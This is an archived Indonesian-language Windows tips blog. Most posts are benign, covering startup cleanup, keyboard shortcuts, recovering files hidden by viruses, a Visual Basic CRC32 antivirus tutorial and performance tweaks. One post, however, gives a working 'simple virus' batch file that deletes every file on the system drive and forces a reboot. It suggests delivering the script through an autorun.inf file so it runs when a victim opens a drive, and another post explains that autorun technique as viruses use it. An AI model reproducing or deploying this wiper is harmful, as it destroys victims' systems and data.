Jumat, 09 Januari 2009

Trick to Eliminating Programs that Run at Startup

. Jumat, 09 Januari 2009
0 komentar

Stopping programs from running at startup is a particularly daunting task, because there is no single place you can go to stop them all. Some run because they're put in the Startup folder, others because they're part of logon scripts, others because of Registry settings and so on. But with a little bit of perseverance, you should be able to stop them from running.
a. Cleaning out the Startup folder
Start by cleaning out your Startup folder. Find it in C:\Documents and Settings\\Start Menu\Programs\Startup, where is your Windows logon name. Delete the shortcuts of any programs you don't want to run on startup. As with any shortcuts, when you delete them, you're only deleting the shortcut, not the program itself. (You can also clear out the startup items by going to Start Programs Startup and right-clicking on items you want to remove.) Next, clean out your Scheduled Tasks folder. Go to C:\WINDOWS\Tasks, and delete the shortcuts of any programs that you don't want to run automatically on a schedule.



b. Using the System Configuration Utility
Taking the previous steps will stop the obvious programs from running at startup, but it won't kill them all. The best tool for disabling hidden programs that run on startup is the System Configuration Utility, shown in Figure 1-5. To run it, type msconfig at a command prompt and press Enter. (If that doesn't work, first do a search for msconfig.exe, and then when you find the file, double-click it.)
Figure 1-5. The Startup tab of the System Configuration Utility

To stop a program from running at startup, go to the Startup tab in this utility and uncheck the box next to the program. To get more information about a listing, expand the width of the Command column near the top of the Startup tab. Expand it enough and you'll see the startup command that the program issues, including its location, such as C:\Program Files\Athan\Athan.exe. The directory location should be another hint to help you know the name of the program.
When stopping programs from running at startup, it's best to stop them one at a time rather than in groups. You want to make sure that you're not causing any system problems by stopping them. So stop one and restart your PC. If it runs fine, then stop another and restart. Continue doing this until you've cleared all the programs you don't want to run automatically.
Each time you uncheck a box and restart your PC, you'll get a warning, shown in Figure 1-6, that you've used the System Configuration Utility to disable a program from starting automatically. If you don't want to see that warning, disable it by checking the box in the dialog itself.
Figure 1-6. Disabled program warning

After you've used the System Configuration Utility to identify programs that run on startup, you may want to try disabling them from with the programs themselves. So run each program that starts automatically, and see if you can find a setting that allow you to halt it from running on startup.
c. Using the Registry to halt programs running on startup
Even the System Configuration Utility won't necessarily let you identify and kill all programs that run on startup. You may also need to hack the Registry to disable them. To do so, run the Registry Editor and go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. The right pane will contain a list of some of the programs that automatically run at startup. The Data field tells you the path and name of the executable so that you can determine what each program is. Right-click on any program you don't want to run, and choose Delete. That will kill any programs that run specific to your logon. To kill programs that run for every user of the system, go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and follow the same instructions for deleting other programs you don't want to run at startup.


Klik disini untuk melanjutkan »»

Kamis, 25 Desember 2008

Kamus Shortcut Windows XP

. Kamis, 25 Desember 2008
0 komentar

Tombol :
Alternative Alt
-----------------------------------------------------------------------------------------------------------------------------------------
Alt+F4(Close)
Alt+Tab( Ganti Windows Yang Aktif )
Alt+klik kiri # pada folder # ( Melihat Properties Folder Tersebut )
Alt # pada sebuah window # ( Perintah Select ke Menu pada Window tersebut )
Alt + PrintScreen ( Mengcopy tampilan pada jendela yang aktif )......


Tombol :
Control Ctrl
--------------------------------------------------------
Ctrl + Esc ( Pengganti Fungsi tombol Win key )
Ctrl + X ( Perintah Cut )
Ctrl + Z ( Perintah Undo )
Ctrl + C ( Perintah Copy )
Ctrl + V ( Perintah Paste )
Ctrl + A ( Perintah Select All )
Ctrl + O ( Perintah open File # Default # )
Ctrl + S ( Perintah Save File # Default # )
Ctrl + P ( Perintah Print Documen # Default # )
Ctrl + F ( Perintah Find Word # Default # )
Ctrl + H ( Perintah Replace Word # Default # )
Ctrl = Print Screen ( Mengcopy Semua Tampilan Pada Window # Aktif / Tidak Aktif # )

Tombol :
Win Windows
-------------------------------------------------------
Win + L ( Lock komputer )
Win + U ( Menampilkan Utility Manager )
Win + R ( Menampilkan Run )
Win + F ( Menampilkan window pencarian )
Win + E ( Membuka My Computer )
Win + D ( Mematikan atau mengaktifkan Toggle Desktop )
Win + M ( Minimize semua window )
Win + Shift + M ( Restore semua window yang di-minimize )
Win + Ctrl + F ( Mencari komputer dalam jaringan )
Win + Break ( Memunculkan window System Properties )
Win + Tab ( Scroll tombol di Taskbar )

Tombol :
Kombinasi
-----------------------------------------------------
Ctrl + Alt + Del/Delete ( Memunculkan Windows Task Manager # Win XP # )
Ctrl + Alt + "+" ( Superscript Pada Word )
Ctrl + Alt + = (Subscript pada word )
Ctrl + Shift + F10 ( Pada game FreeCell Tekan tombol tersebut, dengan memulai terlebih dahulu maka akan menang )

Klik disini untuk melanjutkan »»

Trick Membuat Autorun di Flash Disk

.
0 komentar

Seperti yang dilakukan oleh Virus w32.coolface@d1w13. Virus ini membuat file “Autorun.inf” di Flash Disk yang terinfeksi virus. Setiap kali kita mamasukan flash disk ke komputer dan membukanya dengan Autoplay/mengklik 2x maka file autorun ini akan menjalankan file virus tersebut.

Nah, dengan cara ini kita bisa meng-Autoplaykan program/file yang kita inginkan. Dengan catatan file yang bisa autorun ialah.....


file “.exe”, “.scr” dan “.bat” (ini doang yang udah aku coba’, kaya’nya masih ada lagi file yang lain… coba’ sendiri ya!).
Ga’ hanya menjalankan file, file Autorun.inf bisa membuat icon di flash disk sesuai dengan icon yang kita inginkan.

Berikut cara membuat file Autorun.inf:
1. Buka program Notepad (Satrt/run… ketikan “notepad”, kemudian Enter!)
2. Ketikan/copy perintah dibawah ini ke dalam notepad;

[autorun]
open=nama file yang ingin di jalankan
action=nama file yang ingin di jalankan
shell\open\command=nama file yang ingin di jalankan
shell\open=nama file yang ingin di jalankan
icon=nama icon yang akan ditampilkan untuk flash disk

3. Save program notepad ke flash disk dengan nama “Autorun.inf”. (Pastikan pada form Save as, Save as type-nya pilih All file.)

Catatan:
Program/file dan icon yang akan diautorunkan di simpan bersamaan dengan file Autorun.inf di dalam flash disk dan tidak didalam folder.

Klik disini untuk melanjutkan »»

Trick Memunculkan File Yang Disembunyikan Virus

.
0 komentar

Ada salah satu pola penyerangan Virus, misalnya Virus yang dibuat dengan Delphi yang ukuran induk virusnya cukup besar untuk ukuran sebuah Virus, uniknya, Induk Virus tersebut benar-benar memakan file-file si korban dengan cara menyembunyikannya ke dalam tubuhnya dan akan mengeluarkan file yang disembunyikan tersebut bila si korban mengeksekusi file tersebut (misal winword.exe). Saat dieksekusi dan dikeluarkan dari tubuh induk Virus itulah file tersebut terinfeksi, dimana Virus menginjeksinya dengan malicious script, sekaligus mengaktifkan script tersebut di komputer si korban.....


Seringkali bisa kita temui pola serangan Malware semacam Virus adalah dengan pemalsuan Data/File Asli dengan Data/File Palsu, dimana Data/File asli dari korban sengaja disembunyikan dan diganti dengan Executable File yang ber-Icon menyerupai Icon data asli yang disembunyikan untuk mengelabuhi korban.

Sedangkan teknik penyembunyian File oleh Virus itu sendiri dilakukan dengan Mengganti File Attribute pada data/file yang akan disembunyikan, dimana Virus akan memberikan File Attribute baru, yaitu: hidden dan system plus modifikasi registry untuk mengganti default/current Folder Options Settings (baik bila Folder Options sengaja disembunyikan atau tidak oleh Virus).

SOLUSI:

:: OPSI 1 ::
Anda bisa gunakan “attrib.exe” melalui Windows DOS Mode:
(1) Pada OS Windows, Masuk ke DOS Mode dengan klik “Run”, lalu, Ketik “cmd” (winXP) atau “command” (Win98), kemudian klik “OK”,
(2) Dengan asumsi Drive Letter dari Lokasi data-data yang disembunyikan pada Drive Anda misal Drive D:, maka pada DOS window Ketik “D:” lalu tekan [ENTER], kemudian Ketik: “attrib -r -h -s D:\*.* /s /d“ (tanpa tanda “), lalu tekan [ENTER].
Setelah itu, coba Anda cek data-data pada drive D: Anda, Insya Allah data yang disembunyikan Virus akan terlihat kembali.

:: OPSI 2 ::
Lakukan Pemulihan Folder Options Settings (Folder Options Recovery From Virus Attack) dengan me-recover Windows Registry Keys yang telah dirubah Virus . Untuk keperluan ini, saya telah membuatkan File Registry Entry (”Folder_Options_Recovery_-_Show_All_Files.reg“) yang bisa Anda Download dari 4Shared atau divShare, dan bisa diaplikasikan langsung ke Windows Registry Database dengan cara Klik Kanan File Registry Entry tersebut => lalu Klik “Merge” untuk memunculkan semua Data/File yang disembunyikan Virus.

Setelah Semua Data/File yang disembunyikan Virus dimuncukan kembali, kemudian Anda bisa gunakan third party Software seperti: Attribute Changer untuk mengubah kembali File Attributes (File Attribute Recovery) pada Data/File Yang disembunyikan Virus tersebut. Kenapa File Attributes perlu dirubah? Karena Walaupun semua Data/File yang disembunyikan Virus telah berhasil dimunculkan kembali, namun Data/File tersebut masih ber-file attribute hidden dan system; Dan bilamana System Files Anda sembunyikan kembali tanpa melakukan pengubahan File Attributes pada Non-System-Files, celakanya, Semua Data/File Anda tersembunyi lagi. Dan tentu saja untuk alasan keamanan, Anda tidak ingin semua System Files Anda juga ikut kelihatan, kan?

Untuk mengubah kembali File Attributes (File Attribute Recovery) pada Data/File Yang disembunyikan Virus, Klik kanan pada semua Data/File yang akan dirubah/di-recover file attributenya, lalu pilih “Change Attributes” dari Shell Context-Menu untuk membuka Attribute Changer window. Kemudian hilangkan tanda centang (unchecked) di dalam Check Box pada tulisan Hidden dan System, lalu Klik “Apply dan “OK” atau langsung saja Klik “OK”. Setelah itu, coba Anda cek data-data pada internal/external harddrive atau UFD (USB Flash Disk) Anda, Insya Allah Data/File yang disembunyikan Virus akan terlihat normal kembali; namun bila belum, coba Refresh Explorer Anda dengan cara Klik kanan Desktop/Explorer, lalu pilih dan klik “Refresh”. Menurut pengalaman Penulis, langkah ini tidak memerlukan Restart Windows.

Tool kecil ini sangat bermanfaat terutama apabila File Windows attrib.exe telah dirusak atau dihapus Virus.
Software gratis yang cara menjalankannya lewat Shell Context Menu (Menu Klik Kanan) ini sebenarnya memiliki tiga kemampuan untuk:
(a) Merubah File Attributes secara lebih mendetail/komplet,
(b) Modifikasi Date/Time (Created/Accessed/Modified) File yang sudah dibuat sebelumnya. Hmm..tool kecil ini ternyata bisa digunakan untuk manipulasi Entry Data di komputer kantor atau di komputer Dosen :mrgreen: Jangan deh ya! (lanjut..)
(c) Mengubah Kompresi NTFS

Attribute-Changer.jpg


Sebelum menggunakan attrib.exe ataupun melakukan Folder Options Reccovery ataupun melakukan Instalasi dan Pemakaian Attribute Changer, pastikan Virus di komputer yang terinfeksi dibasmi/dimatikan terlebih dahulu dengan AntiVirus yang bisa diandalkan dengan Virus Database yang ter-up-to-date. Biasanya sudah cukup hanya dengan mematikan File Induk Virus-nya saja, anak-anak-nya Virus biarkan saja hidup jadi anak Yatim-Piatu (status: Orphan) :D . Bila Virus masih hidup/aktif di memory komputer, Virus akan menyembunyikan kembali File-File yang disembunyikan Virus dengan mengubah kembali File Attributes dari File-File tersebut ke “hidden” dan “system” baik segera setelah File Attributes kita ubah ataupun setelah Restart Windows; jadi akan sia-sia upaya kita mengembalikan File Attributes-nya.

Klik disini untuk melanjutkan »»

Trick Membuat Virus Sederhana

.
0 komentar

VirusVirus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain.
Nah, kali ini saya akan memberikan salah satu contoh untuk membuat contoh program virus (lebih tepat disebut program perusak) yang sangat sederhana. Program ini akan mengapus seluruh folder dan file pada suatu drive.
Mohon jangan mencoba pada komputer orang lain……….


Virus ini sangat berbahaya. Sebelum mencoba, sebaiknya anda backup dulu data-data Anda… he..he… Setelah menjalankan program ini, sistem operasi Anda tidak akan ada lagi, sehingga Anda harus install ulang lagi (capee. deh…). So, ngga usah nyoba deh…ck..ckk..
Ketik program berikut dengan notepad, dan simpan dengan ekstensi bat, misalnya virus.bat

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

PERHATIAN : Program ini akan menghapus sistem Anda , makanya berhati-hatilah. Saya tidak bertanggung jawab atas semua yang terjadi, silahkan tanggung resiko sendiri.. ck..ckk..

Sebagai tambahan, Anda dapat juga menggunakan kode program berikut. Perintah ini hanya akan me-restart komputer Anda.. Anda aman untuk mencobanya. Sama seperti program virus.bat, program di bawah ini juga harus disimpan dengan ekstensi .bat, misalnya restart.bat

@echo off
shutdown -r -f -t 00

Anda dapat berimprovisasi dengan menambahkan sebuah file autorun.inf file untuk menjalankan program tersebut ketika seseorang melakukan klik ganda pada sebuah drive.

Klik disini untuk melanjutkan »»

Trick Membuat antivirus sendiri

.
0 komentar

- Penulis TIDAK bertanggung jawab atas penggunaan maupun penyalahgunaan dari artikel ini.

- Tujuan dibuat artikel HANYA untuk BAHAN PEMBELAJARAN saja.

- Penggunaan nama, merek, atau logo hanya sebagai CONTOH dan REFERENSI saja, TIDAK ada maksud mempromosikan pihak tertentu.

- Penulis mohon maaf apabila seluruh/sebagian dari isi artikel ini sudah tersirat dalam artikel sejenis lainnya.


Main#

Sekarang kehadiran para virus maker (–selanjutnya disingkat jadi VM
saja) lokal telah membuat gerah para user komputer tanah air. Bisa
dibayangkan bila dari sekian banyak virus lokal tidak satu-dua yang
menghancurkan data (terutama bagi file office; word, excel, dll…). Bagi
para vendor Anti Virus (–selanjutnya disingkat menjadi AV saja)
fenomena ini adalah lahan bisnis untuk produk mereka. Sebut saja
NORMAN, yang kini men-support perusahaan konsultan virus lokal
(–VAKSIN.COM) , Symantec, McAffe, NOD32, dan sebagainya. Dengan
menawarkan update definisi software AV tercepat, engine scanner paling
sensitif, dan lain-lain merupakan kiat untuk memancing para korban
virus membeli dan menggunakan software AV mereka. Bagi penulis sendiri
hal ini memang agak memberatkan mengingat update file definisi atau
engine AV tsb haruslah melalui koneksi internet. Lalu bagaimana yang
tidak mempunyai akses sama sekali? Konsekuensinya iyalah tertinggal
dalam hal pengenalan varian virus baru yang pada ujung-ujungnya membuat
AV yang sudah terinstall bagai 'Macan Ompong'. Kalau kita membuat AV
sendiri bagaimana? dengan database definisi yang bisa diupdate oleh
kita bahkan dapat saling tukar dengan teman? Bisa saja, dengan syarat
mau mempelajari sedikit teknik pemograman.

Pertama kita harus mengerti bagaimana cara kerja
sebuah AV sederhana, pada dasarnya sebuah software AV mempunyai
komponen-komponen :

1. Engine scanner, ini merupakan komponen utama AV
dalam mengenali sebuah pattern virus. Engine ini dapat dikelompokkan
menjadi statis dan dinamis. Statis dalam hal ini dapat disebut menjadi
spesifik terhadap pattern tertentu dari sebuah file virus. Checksum
merupakan salah satu contoh dari engine statis ini. Dinamis dalam
artian dia mengenali perilaku 'umum' sebuah virus. Heuristic menjadi
salah satu contohnya.

2. Database definition, menjadi sebuah referensi dari sebuah pattern
file virus. Engine statis sangat bergantung kepada komponen ini.

3. Decompress atau unpacking engine, khusus untuk pengecekan file-file
yang terkompresi (*.rar, *.zip, dll) atau kompresi atau packing untuk
file PE seperti UPX, MeW , dll.

Tidak jarang hasil dari pengecekan terhadap file
suspect virus menghasilkan false-positive bahkan false-negative (–
false-positive berarti file yang bersih dianggap thread oleh AV, dan
false-negative berarti file yang 100% thread akan dianggap bersih).
Semua itu dapat diakibatkan oleh ketidak-sempurnaan dari engine scanner
itu sendiri. Misal

pada contoh kasus Engine String scanner (–Engine scanner yang
menyeleksi string-string dari file text-based), bila diterapkan rule 3
out of 5 (– bila AV menemukan 3 dari daftar 5 string kategori
malicious) maka AV akan memberikan bahwa file terindikasi sebuah thread
yang positif. Padahal file tsb nyatanya tidak menimbulkan efek
berbahaya bila dijalankan atau dieksekusi. Kesalahan scanning macam ini
lazim ditemukan untuk file-file *.VBS, *.HTML, dll. Untuk penggunaan
engine checksum sangat banyak ditemui di beberapa software AV lokal.
Checksum yang lazim digunakan diantaranya CRC16, CRC32, MD5, dll.
Dikarenakan mudah untuk diimplementasikan. Engine ini sendiri bukannya
tanpa cacat, Checksum bekerja dengan memproses byte demi byte dari
sebuah file dengan sebuah algoritma tertenu (– tergantung dari jenis
checksum yang digunakan) sehingga menghasilkan sebuah format tertentu
dari file tsb. Contoh checksum menggunakan CRC32 dan MD5 :

* calCrc = CRC32(file_name_and_path)

* calMD5 = MD5(file_name_and_path)

Maka isi dari string calCrc adalah 7AF9E376,
sedangkan untuk MD5nya adalah 529CA8050A00180790CF88B63468826A. Perlu
diketahui bila virus menerapkan rutin yang mengubah byte tertentu dari
badan virus tsb setiap kali maka penggunaan engine checksum ini akan
kurang optimal karena bila 1 byte berubah dari file maka checksum juga
akan berubah.

Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :

1. Software Visual Basic 6.0

2. Sedikit pemahaman akan pemograman Visual Basic 6.0

3. Sampel file bersih atau virus (– opsional)

First#

Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :

- Memilih file yang akan dicek

- Membuka file tersebut dalam mode binary

- Memproses byte demi byte untuk menghasilkan Checksum

Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah
class module dan Form dengan menambahkan sebuah objek Textbox,
CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan
dengan memilih Project -> COmponent atau Ctrl-T dan memilih
Microsoft Common Dialog Control 6.0) Ketikkan kode berikut pada class
module (kita beri nama class module tsb clsCrc) :

================= START HERE ====================

Private crcTable(0 To 255) As Long 'crc32

Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long

'bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file

Dim lCurPos As Long 'Current position untuk iterasi proses array bArrayIn

Dim lTemp As Long 'variabel temp hasil perhitungan

If lLen = 0 Then Exit Function 'keluar fungsi apabila ukuran file = 0

lTemp = lcrc Xor &HFFFFFFFF

For lCurPos = 0 To lLen

lTemp = (((lTemp And &HFFFFFF00) \\ &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))

Next lCurPos

CRC32 = lTemp Xor &HFFFFFFFF

End Function

Private Function BuildTable() As Boolean

Dim i As Long, x As Long, crc As Long


Const Limit = &HEDB88320

For i = 0 To 255

crc = i

For x = 0 To 7

If crc And 1 Then

crc = (((crc And &HFFFFFFFE) \\ 2) And &H7FFFFFFF) Xor Limit

Else


crc = ((crc And &HFFFFFFFE) \\ 2) And &H7FFFFFFF

End If

Next x

crcTable(i) = crc

Next i

End Function

Private Sub Class_Initialize()

BuildTable


End Sub

================= END HERE ====================

Lalu ketikkan kode berikut dalam event Command1_Click :

================= START HERE ====================

Dim namaFileBuka As String, HasilCrc As String

Dim CCrc As New clsCrc 'bikin objek baru dari class ClsCrc

Dim calCrc As Long

Dim tmp() As Byte 'array buat file yang dibaca

Private Sub Command1_Click()


CommonDialog1.CancelError = True 'error bila user mengklik cancel pada CommonDialog

CommonDialog1.DialogTitle = "Baca File" 'Caption commondialog

On Error GoTo erorhandle 'label error handle

CommonDialog1.ShowOpen

namafilbuka = CommonDialog1.FileName

Open namafilbuka For Binary Access Read As #1 'buka file yang dipilih dengan akses baca pada mode binary

ReDim tmp(LOF(1) - 1) As Byte 'deklarasi ulang untuk array, # Bugs Fixed #

Get #1, , tmp()

Close #1

calCrc = UBound(tmp) 'mengambil ukuran file dari array

calCrc = CCrc.CRC32(tmp, calCrc) 'hitung CRC

HasilCrc = Hex(calCrc) 'diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric

Text1.Text = HasilCrc 'tampilkan hasilnya

Exit Sub

erorhandle:

If Err.Number <> 32755 Then MsgBox Err.Description 'error number
32755 dalah bila user mengklik tombol cancel pada saat memilih file

================= END HERE ====================

COba anda jalankan program diatas dengan memencet
tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka
program akan menampilkan CRC32nya.

Second#

Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file
suspect virus dengan antara membandingkan hasil CRC32nya dan database
CRC kita sendiri. Algoritmanya adalah :

- Memilih file yang akan dicek

- Membuka file tersebut dalam mode binary

- Memproses byte demi byte untuk menghasilkan Checksum

- Buka file database

- Ambil isi file baris demi baris

- Samakan Checksum hasil perhitungan dengan checksum dari file

Format file database dapat kita tentukan sendiri, misal :

- FluBurung.A=ABCDEFGH

- Diary.A=12345678

Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika
kita mempunyai format file seperti diatas, maka kita perlu membaca file
secara sekuensial per baris serta memisahkan antara nama virus dan
Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter '='.

Buat 1 module baru (– diberi nama module1) lalu isi dengan kode :

================= START HERE ====================

Public namaVirus As String, CrcVirus As String
'deklarasi variabel global untuk nama dan CRC virus Public pathExe as
String 'deklarasi variabel penyimpan lokasi file EXE AV kita

Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean

Dim lineStr As String, tmp() As String 'variabel penampung untuk isi file


Open namaFileDB For Input As #1 'buka file dengan mode input

Do

Line Input #1, lineStr

tmp = Split(lineStr, "=") 'pisahkan isi file bedasarkan pemisah karakter '='

namaVirus = tmp(0) 'masukkan namavirus ke variabel dari array

CrcVirus = tmp(1) 'masukkan Crcvirus ke variabel dari array

If CrcVirus = Crc Then 'bila CRC perhitungan cocok/match dengan database

cariDatabase = True 'kembalikan nilai TRUE

Exit Do 'keluar dari perulangan


End If

Loop Until EOF(1)

Close #1

End Function

================= END HERE ====================

Lalu tambahkan 1 objek baru kedalam Form, yaitu
Command button2. lalu ketikkan listing kode berikut kedalam event
Command2_Click :

================= START HERE ====================

If Len(App.Path) <= 3 Then 'bila direktori kita adalah root direktori


pathEXE = App.Path

Else

pathEXE = App.Path & "\\"

End If

CommonDialog1.CancelError = True 'error bila user mengklik cancel pada CommonDialog

CommonDialog1.DialogTitle = "Baca File" 'Caption commondialog

On Error GoTo erorhandle 'label error handle

CommonDialog1.ShowOpen


namafilbuka = CommonDialog1.FileName

Open namafilbuka For Binary Access Read As #1 'buka file yang dipilih dengan akses baca pada mode binary

ReDim tmp(LOF(1) - 1) As Byte 'deklarasi ulang untuk array # Bugs Fixed #

Get #1, , tmp()

Close #1

calCrc = UBound(tmp) 'mengambil ukuran file dari array

calCrc = CCrc.CRC32(tmp, calCrc) 'hitung CRC

HasilCrc = Hex(calCrc) 'diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric

If cariDatabase(HasilCrc, pathEXE & "DB.txt") Then 'bila fungsi bernilai TRUE


MsgBox "Virus ditemukan : " & namaVirus 'tampilkan message Box

End If

Exit Sub

erorhandle:

If Err.Number <> 32755 Then MsgBox Err.Description 'error number
32755 dalah bila user mengklik tombol cancel pada saat memilih file

================= END HERE ====================

Fitur AV sederhana ini dapat ditambahkan dengan
fitur process scanner, akses registry, real-time protection (RTP) dan
lain lain. Untuk process scanner pada dasarnya adalah teknik enumerasi
seluruh proses yang sedang berjalan pada Sistem Operasi, lalu mencari
letak atau lokasi file dan melakukan proses scanning. Fitur akses
registry memungkinkan kita untuk mengedit secara langsung registry
windows apabila akses terhadap registry (–Regedit) diblok oleh virus.
Sedangkan fitur RTP memungkinkan AV kita berjalan secara simultan
dengan windows explorer untuk mengscan direktori atau file yang sedang
kita browse atau lihat. Untuk ketiga fitur lanjutan ini akan dibahas
pada artikel selanjutnya.

Kesimpulan#

Tidak harus membeli software AV yang mahal untuk menjaga komputer kita
dari ancaman virus, kita bisa membuatnya sendiri dengan fitur-fitur
yang tak kalah bagusnya. Memang terdapat ketidaksempurnaan dalam AV
buatan sendiri ini, tetapi setidaknya dapat dijadikan pencegah dari
infeksi virus komputer yang semakin merajalela. Software AV sederhana
ini dilengkapi oleh engine scanner statis dan database definisi. Tidak
tertutup kemungkinan software AV ini ditingkatkan lebih advanced dalam
hal engine scannernya.

Klik disini untuk melanjutkan »»

Tips n Trick Mempercepat Kinerja komputer

.
0 komentar

Jika anda mempunyai sebuah computer dengan spesifikasi terbatas dan anda tidak mempunyai dana untuk meng upgrade computer anda apa lagi harus membeli sebuah computer baru ada baiknya anda mencoba trik dan tips dibawah ini.

Setelah anda selesai menginstal ada baiknya anda langsung menyeting computer anda, ada beberapa servis-servis computer yang tidak perlu anda gunakan dibawah ini akan saya jelaskan bagai mana cara memengoptimalkan kinerja computer.


Masuk ke regedit dengan cara masuk ke start menu kemudian pilih run kemudian ketik Regedit setelah muncul regedit cari


HKEY_CURRENT_USER / HKCU kemudian cari Control Panel kemudian pilih Desktop pada bagian kanan cari MenuShowDelay jika disana tertera 400 maka ganti menjadi 0 (nol) jika tulisan MenuShowDelay tidak ada anda bias menuliskan dengan cara klik kanan pada bagian kanan pilih new string kemudian ketikkan kalimat MenuShowDelay dan berikan nilainya 0

Masih di registri pada HKCU cari software kemudian Microsoft kemudian windows kemudian currentversen kemudian run hapus semua yang ada di dalam run karena itu akan membuat berat saat pertamakali booting sering juga file itu disebut dengan file start up

Kemudian klik kanan pada my computer pilih advanced pada bagian performance ada tombol seting klik tombol itu kemudian hilangkan semua tanda cek pada setiap kolom.

Jika computer anda tidak berhubungan dengan computer lain atau stan alown maka ada baiknya anda non aktivkan kartu jaringan yang ada caranya masuk ke bios dengan cara menekan del/F2 pada saat booting kemudian cari seting peripheral onboard kemudian cari onboard lan kemuidian jika di sana tertera eneble maka sekarang diseble untuk mematikan

Jika trik diatas belum banyak membuat perubahan coba naikkan kecepatan prosesor anda atau overclock akan tetapi hati hati dalam melakukan trik yang ini karena akan menyebabkan computer anda menjadi cepat panas akan tetapi bias diatasi dengan penambahan kipas pada computer anda caranya masuk ke BIOS kemudian cari frekuensi jika disana aktiv maka prosesor anda bias di naikkan kecepatannya jika di sana tidak aktiv anda bias meng update bios anda dengan fersi yang baru yang sesuai dengan motherboard anda

Seting hardisk pada primary atau IDE1 karena ini akan mempengaruhi kecepatan pengiriman data
Ketika anda mengklik start menu akan terasa ada semacam delay ketika kita berpindah antar menunya. Nah akan terasa sangat menjengkelkan bukan untuk menunggu sub menu muncul. Kita lakukan sedikit modifikasi pada registrinya. klik run kemudian ketik regedit. Klik OK. Akan muncul jendela registry. klik HKEY_CURRENT_USER > control panel > Desktop. Kemudian cari MenuShowDelay dan ubah propertinya menjadi 0. Tutup jendela registry anda kemudian restart

Klik disini untuk melanjutkan »»

Tips Meningkatkan Kinerja Komputer

.
0 komentar

1. Bersihkan file tak berguna. Pilih Start, Accessories, System Tools, dan Disk Clean-Up.
2. Defragmentasi drive. Pilih Start,


Accessories, System Tools, dan klik Disk Defragmenter.
3. Hapus koneksi jaringan tak terpakai. Buka Windows Explorer. Pada My Computer, klik kanan dan pilih Tools. Klik Disconnect Network Drive. l

Klik disini untuk melanjutkan »»

Trick Mengupdate AVG Bagi Pengguna Offline (manual Update)

.
0 komentar

Jika tidak terhubung internet, maka sebelumnya kita perlu download file update yang telah disediakan. Bisa download dari alamat http://free.grisoft.com/doc/update/us/frt/0 di bagian Priority updates. Disana disediakan beberapa update yang bisa kita pilih.
Tetapi sebelumnya kita harus mengenali versi AVG yang ada di komputer kita. Untuk mengetahuinya, buka AVG ( double klik icon avg yang ada di systray ( biasanya pojok kanan bawah), dan perhatikan keterangan di status bar programnya. Seperti contoh berikut :



Setelah diketahui versi program dan database, maka kita buka alamat web untuk download file update yang diperlukan. Tampilannya seperti berikut (Priority Upedate) :
Punyaku 7.5.503 269.19.21/1137 2/6/2008 12:00 AM


Berikut penjelasannya
• Bagian 1,2,3 dan 4 untuk mengupdate program AVG menjadi versi sesuai yang ditampilkan. Misalnya no 1 untuk mengupdate program AVG ( semua modul) menjadi versi 7.5.516. Khusus no 3 merupakajn update untuk Linux. Jika AVG anda versinya dibawah 7.5.516 maka sebaiknya download juga update nomor 1, nomor 2 dan 4 tidak perlu.
• Update 5,6 dan 7 untuk mengupdate Database virus menjadi versi 269.19.20. Ini bisa disesuaikan dengan versi database virus pada program AVG yang ada dikomputer kita. Jika versi database virus lebih dari 269.0.0 dan kurang dari 269.19.0, maka download update nomor 6. Jika versinya sudah 269.19.0 atau diatasnya, maka cukup download nomor 5 ( yang berukuran paling kecil ). Sebaliknya jika versi virus database dibawah 269.0.0 maka download nomor 7.
• Untuk update IAVI ( nomor 8 ) mempunyai ukuran yang paling besar. Jika release terakhir adalah update ini, maka agar AVG update ke versi terakhir, memang harus download file ini. Seperti tampilan diatas, update nomor 5,6, dan 7 hanya sampai tanggal 4 februari 2008, sedangkan nomor 8 sudah sampai tanggal 5 februari 2008.
Setelah file update ( berakhiran *.bin) sudah berhasil di download, maka langkah update dapat dilakukan sebagai berikut:
1. Buka AVG, pilih Komponen Anti-Virus
2. Klik Tombol Update, kemudian dari window yang muncul, klik tombol folder. dan cari dimana lokasi file yang telah kita download tadi. Maka akan muncul pesan bahwa Update baru telah ditemukan, dan muncul konfirmasi apakah akan diupdate, maka pilih Yes.
3. Maka proses update akan berlangsung, tunggu sampai selesai

Keterangan
Jika ketika di klik tombol Update, AVG langsung mencoba update ke Internet, dan tidak ditampilkan pilihan apakah kita akan update langsung melalui Internet atau folder, maka bisa settingnya perlu diubah. Caranya pilih Komponen Update Manager ( di tampilan utama AVG ) dan klik tombol Properties. Hilangkan check di opsi Do not ask for the update source, kemudian klik Apply. Dan ulangi proses update.


Klik disini untuk melanjutkan »»

Tips n trick seputar windows exploler

.
0 komentar

Beikut ini beberapa trik pada windows exploler :
1. Membuka windows exploler dengan cepat
Selain dengan cara mengklik tombol (start) > (all Program) > (accessories) > (windows exlore), masih ada cara lain yaitu :
- Klik tombol windows yang ada pada keyboard dan tombol {E} pada keyboard secara bersamaan
- klik dua kali pada shortcut [my compute] yang terdapat pada desktop
- klik start > my computer
2. Mengurutkan file pada windows exploler


